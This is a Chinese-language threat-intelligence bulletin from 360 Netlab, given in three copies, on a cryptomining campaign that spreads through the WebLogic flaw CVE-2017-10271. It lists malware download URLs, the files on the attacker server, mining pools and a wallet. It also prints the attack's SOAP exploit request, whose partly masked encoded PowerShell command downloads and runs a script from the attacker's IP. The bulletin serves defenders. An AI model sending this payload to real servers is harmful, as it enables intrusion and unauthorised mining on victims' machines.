威胁快讯 - 模板
<!--kg-card-begin: markdown--><p>360 网络安全研究院威胁快讯模板：</p>
<ul>
<li>IoC  (IP地址或者域名都对应AS号)</li>
<li>规模统计</li>
<li>投入方式</li>
<li>获利方式</li>
<li>逃避手段</li>
<li>联系方式</li>
</ul>
<h4 id="ioc">IoC</h4>
<p>下载服务器</p>
<pre><code>123.59.68.172	&quot;AS4808 China Unicom Beijing Province Network&quot;
</code></pre>
<p>下载URL</p>
<pre><code>http://123.59.68.172/Cache/DL.php		#weblogic 利用payload中的初始url
http://123.59.68.172/Cache/RunExe.exe
http://123.59.68.172/Cache/WMI.ps1
http://123.59.68.172/Cache/WMI64.ps1
http://123.59.68.172/Cache/x64-VMP.exe
http://123.59.68.172/Cache/x64.exe
http://123.59.68.172/Cache/x86-JMP.exe
http://123.59.68.172/Cache/x86-VMP.exe
http://123.59.68.172/Cache/x86.exe
http://123.59.68.172/Cache/x86.rc4
http://123.59.68.172/putout/DL.ps1
</code></pre>
<p>123.59.68.172 上的文件</p>
<pre><code>├── DL.php 			#weblogic 利用payload中的初始url
├── DL.php.64_unpack
├── DL.ps1
├── DL.ps1.b64_unpack
├── msvcr120.dll
├── Neutrino.exe 	#扫描器，可以扫描 mssql，phpmyadmin,weblogic,webshell
├── Neutrino.ps1
├── RunExe.exe
├── scripts
│   ├── decode_file.py
│   └── decode.py
├── WMI64.ps1
├── WMI64.ps1.b64_unpack
├── WMI.ps1
├── WMI.ps1.b64_unpack
├── WMI.ps1.b64_unpack.exe
├── x64.exe
├── x64-VMP.exe
├── x86.exe
├── x86-JMP.exe
├── x86.rc4
└── x86-VMP.exe
</code></pre>
<h4 id="">规模统计</h4>
<p>不明，利用IP地址传播，从DNS渠道无法统计其规模</p>
<h4 id="">投入方式</h4>
<p>漏洞利用： CVE-2017-10271</p>
<p>攻击payload如下。为避免误用，部分内容打码。</p>
<pre><code>POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: {target}:7001
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:5.0) Gecko/20100101 Firefox/5.0
Connection: Close
Content-Type: text/xml
Content-Length: 1222

&lt;soapenv:Envelope xmlns:soapenv=&quot;http://schemas.xmlsoap.org/soap/envelope/&quot;&gt;
&lt;soapenv:Header&gt;
&lt;work:WorkContext xmlns:work=&quot;http://bea.com/2004/06/soap/workarea/&quot;&gt;
&lt;java version=&quot;1.8.0_131&quot; class=&quot;java.beans.XMLDecoder&quot;&gt;
&lt;void class=&quot;java.lang.ProcessBuilder&quot;&gt;
  &lt;array class=&quot;java.lang.String&quot; length=&quot;3&quot;&gt;
    &lt;void index=&quot;0&quot;&gt;
      &lt;string&gt;cmd.exe&lt;/string&gt;
    &lt;/void&gt;
    &lt;void index=&quot;1&quot;&gt;
      &lt;string&gt;/c&lt;/string&gt;
    &lt;/void&gt;
    &lt;void index=&quot;2&quot;&gt;
      &lt;string&gt;START PowerShell.exe -NoP -NonI -EP ByPass -W Hidden -E JABPAFMAPQAoAEcAZQB0AC0AVwBtAGkATwBiAGoAZQBjAHQAIAAtAEMAbABhAHMAcwAgAFcAaQBuADMAMgBfAE8AcABlAHIAYQB0AGkAbgBnAFMAeQBzAHQAZQBtACkALgBDAGEAcAB0AGkAbwBuADsAJABXAEMAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAA7ACQAVwBDAC4ASABlAGEAZABlAHIAcwAuAEEAZA****************ByAC0AQQBnAGUAbgB0ACcALAAiAFAAbwB3AGUAcgBTAGgAZQBsAGwAIAB2ADIALgAwACAAJABPAFMAIgApADsASQBFAFgAIAAkAFcAQwAuAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADIAMwAuADUAOQAuADYAOAAuADEANwAyAC8AQwBhAGMAaABlAC8ARABMAC4AcABoAHAAJwApADsA&lt;/string&gt;
    &lt;/void&gt;
  &lt;/array&gt;
    &lt;void method=&quot;start&quot;/&gt;
&lt;/void&gt;
&lt;/java&gt;
&lt;/work:WorkContext&gt;
&lt;/soapenv:Header&gt;
&lt;soapenv:Body/&gt;
&lt;/soapenv:Envelope&gt;
</code></pre>
<h4 id="">获利方式</h4>
<p>挖矿</p>
<ul>
<li>矿池：一组，包括
<ul>
<li>pool.minexmr.com</li>
<li>sg.minexmr.com</li>
<li>ca.minexmr.com</li>
<li>fr.minexmr.com</li>
<li>de.minexmr.com</li>
<li>pool.supportxmr.com</li>
</ul>
</li>
<li>钱包地址：43ZSpXdMerQGerimDrUviDN6qP3vkwnkZY1vvzTV22AbLW1oCCBDstNjXqrT3anyZ22j7DEE74GkbVcQFyH2nNiC3fchGfc</li>
</ul>
<h4 id="">逃避手段</h4>
<p>DL.php 的下载，需要指定useragent</p>
<h4 id="">联系我们</h4>
<p>感兴趣的读者，可以在 <a href="https://twitter.com/360Netlab"><strong>twitter</strong></a> 或者在微信公众号 <strong>360Netlab</strong> 上联系我们。</p>
<!--kg-card-end: markdown-->
360 网络安全研究院威胁快讯模板：


 * IoC (IP地址或者域名都对应AS号)
 * 规模统计
 * 投入方式
 * 获利方式
 * 逃避手段
 * 联系方式


IoC


下载服务器


123.59.68.172	"AS4808 China Unicom Beijing Province Network"



下载URL


http://123.59.68.172/Cache/DL.php		#weblogic 利用payload中的初始url
http://123.59.68.172/Cache/RunExe.exe
http://123.59.68.172/Cache/WMI.ps1
http://123.59.68.172/Cache/WMI64.ps1
http://123.59.68.172/Cache/x64-VMP.exe
http://123.59.68.172/Cache/x64.exe
http://123.59.68.172/Cache/x86-JMP.exe
http://123.59.68.172/Cache/x86-VMP.exe
http://123.59.68.172/Cache/x86.exe
http://123.59.68.172/Cache/x86.rc4
http://123.59.68.172/putout/DL.ps1



123.59.68.172 上的文件


├── DL.php 			#weblogic 利用payload中的初始url
├── DL.php.64_unpack
├── DL.ps1
├── DL.ps1.b64_unpack
├── msvcr120.dll
├── Neutrino.exe 	#扫描器，可以扫描 mssql，phpmyadmin,weblogic,webshell
├── Neutrino.ps1
├── RunExe.exe
├── scripts
│   ├── decode_file.py
│   └── decode.py
├── WMI64.ps1
├── WMI64.ps1.b64_unpack
├── WMI.ps1
├── WMI.ps1.b64_unpack
├── WMI.ps1.b64_unpack.exe
├── x64.exe
├── x64-VMP.exe
├── x86.exe
├── x86-JMP.exe
├── x86.rc4
└── x86-VMP.exe



规模统计


不明，利用IP地址传播，从DNS渠道无法统计其规模


投入方式


漏洞利用： CVE-2017-10271


攻击payload如下。为避免误用，部分内容打码。


POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: {target}:7001
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:5.0) Gecko/20100101 Firefox/5.0
Connection: Close
Content-Type: text/xml
Content-Length: 1222

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.8.0_131" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
  <array class="java.lang.String" length="3">
    <void index="0">
      <string>cmd.exe</string>
    </void>
    <void index="1">
      <string>/c</string>
    </void>
    <void index="2">
      <string>START PowerShell.exe -NoP -NonI -EP ByPass -W Hidden -E JABPAFMAPQAoAEcAZQB0AC0AVwBtAGkATwBiAGoAZQBjAHQAIAAtAEMAbABhAHMAcwAgAFcAaQBuADMAMgBfAE8AcABlAHIAYQB0AGkAbgBnAFMAeQBzAHQAZQBtACkALgBDAGEAcAB0AGkAbwBuADsAJABXAEMAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAA7ACQAVwBDAC4ASABlAGEAZABlAHIAcwAuAEEAZA****************ByAC0AQQBnAGUAbgB0ACcALAAiAFAAbwB3AGUAcgBTAGgAZQBsAGwAIAB2ADIALgAwACAAJABPAFMAIgApADsASQBFAFgAIAAkAFcAQwAuAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADIAMwAuADUAOQAuADYAOAAuADEANwAyAC8AQwBhAGMAaABlAC8ARABMAC4AcABoAHAAJwApADsA</string>
    </void>
  </array>
    <void method="start"/>
</void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>



获利方式


挖矿


 * 矿池：一组，包括
   
   * pool.minexmr.com
   * sg.minexmr.com
   * ca.minexmr.com
   * fr.minexmr.com
   * de.minexmr.com
   * pool.supportxmr.com
   
 * 钱包地址：43ZSpXdMerQGerimDrUviDN6qP3vkwnkZY1vvzTV22AbLW1oCCBDstNjXqrT3anyZ22j7DEE74GkbVcQFyH2nNiC3fchGfc


逃避手段


DL.php 的下载，需要指定useragent


联系我们


感兴趣的读者，可以在 twitter 或者在微信公众号 360Netlab 上联系我们。

{"version":"0.3.1","markups":[],"atoms":[],"cards":[["markdown",{"cardName":"card-markdown","markdown":"360 网络安全研究院威胁快讯模板：\n\n - IoC  (IP地址或者域名都对应AS号)\n - 规模统计\n - 投入方式\n - 获利方式\n - 逃避手段\n - 联系方式\n\n#### IoC \n下载服务器\n```\n123.59.68.172\t\"AS4808 China Unicom Beijing Province Network\"\n```\n\n下载URL\n```\nhttp://123.59.68.172/Cache/DL.php\t\t#weblogic 利用payload中的初始url\nhttp://123.59.68.172/Cache/RunExe.exe\nhttp://123.59.68.172/Cache/WMI.ps1\nhttp://123.59.68.172/Cache/WMI64.ps1\nhttp://123.59.68.172/Cache/x64-VMP.exe\nhttp://123.59.68.172/Cache/x64.exe\nhttp://123.59.68.172/Cache/x86-JMP.exe\nhttp://123.59.68.172/Cache/x86-VMP.exe\nhttp://123.59.68.172/Cache/x86.exe\nhttp://123.59.68.172/Cache/x86.rc4\nhttp://123.59.68.172/putout/DL.ps1\n```\n\n123.59.68.172 上的文件\n```\n├── DL.php \t\t\t#weblogic 利用payload中的初始url\n├── DL.php.64_unpack\n├── DL.ps1\n├── DL.ps1.b64_unpack\n├── msvcr120.dll\n├── Neutrino.exe \t#扫描器，可以扫描 mssql，phpmyadmin,weblogic,webshell\n├── Neutrino.ps1\n├── RunExe.exe\n├── scripts\n│   ├── decode_file.py\n│   └── decode.py\n├── WMI64.ps1\n├── WMI64.ps1.b64_unpack\n├── WMI.ps1\n├── WMI.ps1.b64_unpack\n├── WMI.ps1.b64_unpack.exe\n├── x64.exe\n├── x64-VMP.exe\n├── x86.exe\n├── x86-JMP.exe\n├── x86.rc4\n└── x86-VMP.exe\n```\n\n#### 规模统计\n\n 不明，利用IP地址传播，从DNS渠道无法统计其规模\n\n#### 投入方式\n漏洞利用： CVE-2017-10271\n\n攻击payload如下。为避免误用，部分内容打码。\n```\nPOST /wls-wsat/CoordinatorPortType HTTP/1.1\nHost: {target}:7001\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; rv:5.0) Gecko/20100101 Firefox/5.0\nConnection: Close\nContent-Type: text/xml\nContent-Length: 1222\n\n<soapenv:Envelope xmlns:soapenv=\"http://schemas.xmlsoap.org/soap/envelope/\">\n<soapenv:Header>\n<work:WorkContext xmlns:work=\"http://bea.com/2004/06/soap/workarea/\">\n<java version=\"1.8.0_131\" class=\"java.beans.XMLDecoder\">\n<void class=\"java.lang.ProcessBuilder\">\n  <array class=\"java.lang.String\" length=\"3\">\n    <void index=\"0\">\n      <string>cmd.exe</string>\n    </void>\n    <void index=\"1\">\n      <string>/c</string>\n    </void>\n    <void index=\"2\">\n      <string>START PowerShell.exe -NoP -NonI -EP ByPass -W Hidden -E JABPAFMAPQAoAEcAZQB0AC0AVwBtAGkATwBiAGoAZQBjAHQAIAAtAEMAbABhAHMAcwAgAFcAaQBuADMAMgBfAE8AcABlAHIAYQB0AGkAbgBnAFMAeQBzAHQAZQBtACkALgBDAGEAcAB0AGkAbwBuADsAJABXAEMAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAA7ACQAVwBDAC4ASABlAGEAZABlAHIAcwAuAEEAZA****************ByAC0AQQBnAGUAbgB0ACcALAAiAFAAbwB3AGUAcgBTAGgAZQBsAGwAIAB2ADIALgAwACAAJABPAFMAIgApADsASQBFAFgAIAAkAFcAQwAuAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADIAMwAuADUAOQAuADYAOAAuADEANwAyAC8AQwBhAGMAaABlAC8ARABMAC4AcABoAHAAJwApADsA</string>\n    </void>\n  </array>\n    <void method=\"start\"/>\n</void>\n</java>\n</work:WorkContext>\n</soapenv:Header>\n<soapenv:Body/>\n</soapenv:Envelope>\n```\n\n#### 获利方式\n\n挖矿\n\n - 矿池：一组，包括\n   - pool.minexmr.com\n   - sg.minexmr.com\n   - ca.minexmr.com\n   - fr.minexmr.com\n   - de.minexmr.com\n   - pool.supportxmr.com\n - 钱包地址：43ZSpXdMerQGerimDrUviDN6qP3vkwnkZY1vvzTV22AbLW1oCCBDstNjXqrT3anyZ22j7DEE74GkbVcQFyH2nNiC3fchGfc\n\n\n#### 逃避手段\nDL.php 的下载，需要指定useragent\n\n#### 联系我们\n\n感兴趣的读者，可以在 [**twitter**](https://twitter.com/360Netlab) 或者在微信公众号 **360Netlab** 上联系我们。"}]],"sections":[[10,0]],"ghostVersion":"3.0"}